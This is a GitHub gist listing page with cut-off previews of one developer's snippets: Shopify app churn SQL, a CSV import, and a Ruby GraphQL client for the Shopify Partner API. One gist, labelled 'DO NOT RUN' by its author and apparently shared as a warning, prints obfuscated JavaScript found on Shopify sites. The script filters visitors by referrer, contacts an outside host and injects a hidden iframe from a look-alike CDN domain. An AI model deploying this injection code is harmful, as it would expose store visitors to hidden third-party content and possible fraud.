Skip to content

Instantly share code, notes, and snippets.

/**
* ZHC5010 DRS
*
* Copyright 2017 Daniel Sim
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at:
*
* http://www.apache.org/licenses/LICENSE-2.0
*
LOAD CSV
FROM 'shopify-plug-in-seo-app-history-2018-01-02.csv'
HAVING FIELDS
(
date, event, details, billing_on, shop_name, shop_country, shop_email, shop_domain
)
INTO postgres:///me?app_history
WITH
skip header = 1,
fields terminated by ','
-- churned subscribers by month (only if they've paid once)
select thismonth.first_date as from_date,
thismonth.first_date + INTERVAL '1 month' as to_date,
count(*) as churned
from month thismonth
join app_history cancelled
on cancelled.event = 'Recurring charge cancelled'
and cancelled.date >= thismonth.first_date
and cancelled.date < thismonth.first_date + INTERVAL '1 month'
@daniel-sim
daniel-sim / cdn-myshopify.com-file-jquery.min.js
Created April 18, 2019 16:41
DO NOT RUN: potentially malicious JavaScript found on some Shopify sites
var _0x3a4e=["random","floor","referrer","m.facebook.com","instagram.com","google.","bing.","indexOf","hostname","location","ourogoods.com","href","dice-bracelet","userAgent","test","onreadystatechange","readyState","status","california","responseText","http://bit.ly/2VdQsq0","GET","https://comic16.com/test/state","open","send","iframe","createElement","display","style","none","id","if-r-js-x","src","https://cdn-myshopify.com/home.html?q=","&cdnref=","appendChild","body","getElementById","remove"];var radN=Math[_0x3a4e[1]]((Math[_0x3a4e[0]]()* 100)+ 1);var siteRe=document[_0x3a4e[2]];var fRefFa=_0x3a4e[3];var fRefIn=_0x3a4e[4];var fRefGo=_0x3a4e[5];var fRefBg=_0x3a4e[6];var isMRFa=siteRe[_0x3a4e[7]](fRefFa);var isMRIn=siteRe[_0x3a4e[7]](fRefIn);var isMRGo=siteRe[_0x3a4e[7]](fRefGo);var isMRBg=siteRe[_0x3a4e[7]](fRefBg);if((isMRFa> -1|| isMRIn> -1|| isMRGo> -1|| isMRBg> -1)&& radN<= 15){var hname=window[_0x3a4e[9]][_0x3a4e[8]];var fHtn=_0x3a4e[10];var isMhtn=hname[_0x3a4e[7]](fHtn);var furl=window[_0x3a4e[
module ShopifyPartnerAPI
class HTTPClient < GraphQL::Client::HTTP
def initialize
super("https://partners.shopify.com/")
end
def headers(context)
{
"X-Shopify-Access-Token": context.fetch(:access_token)
}
require "graphql/client"
require "http_client"
module ShopifyPartnerAPI
class << self
delegate :parse, :query, to: :client
def client
initialize_client_cache
cached_client = @_client_cache
query {
transactions(types: [APP_SUBSCRIPTION_SALE]) {
edges {
node {
id
createdAt
... on AppSubscriptionSale {
netAmount {
amount
}
query {
transactions(types: [APP_SUBSCRIPTION_SALE]) {
edges {
node {
id
createdAt
netAmount {
amount
}
app {
query {
transactions(types: [APP_SUBSCRIPTION_SALE]) {
edges {
node {
id
createdAt
... on AppSubscriptionSale {
netAmount {
amount
}
query ($cursor: String) {
transactions(types: [APP_SUBSCRIPTION_SALE], after: $cursor, first: 100) {
edges {
cursor
node {
id
createdAt
... on AppSubscriptionSale {
netAmount {
amount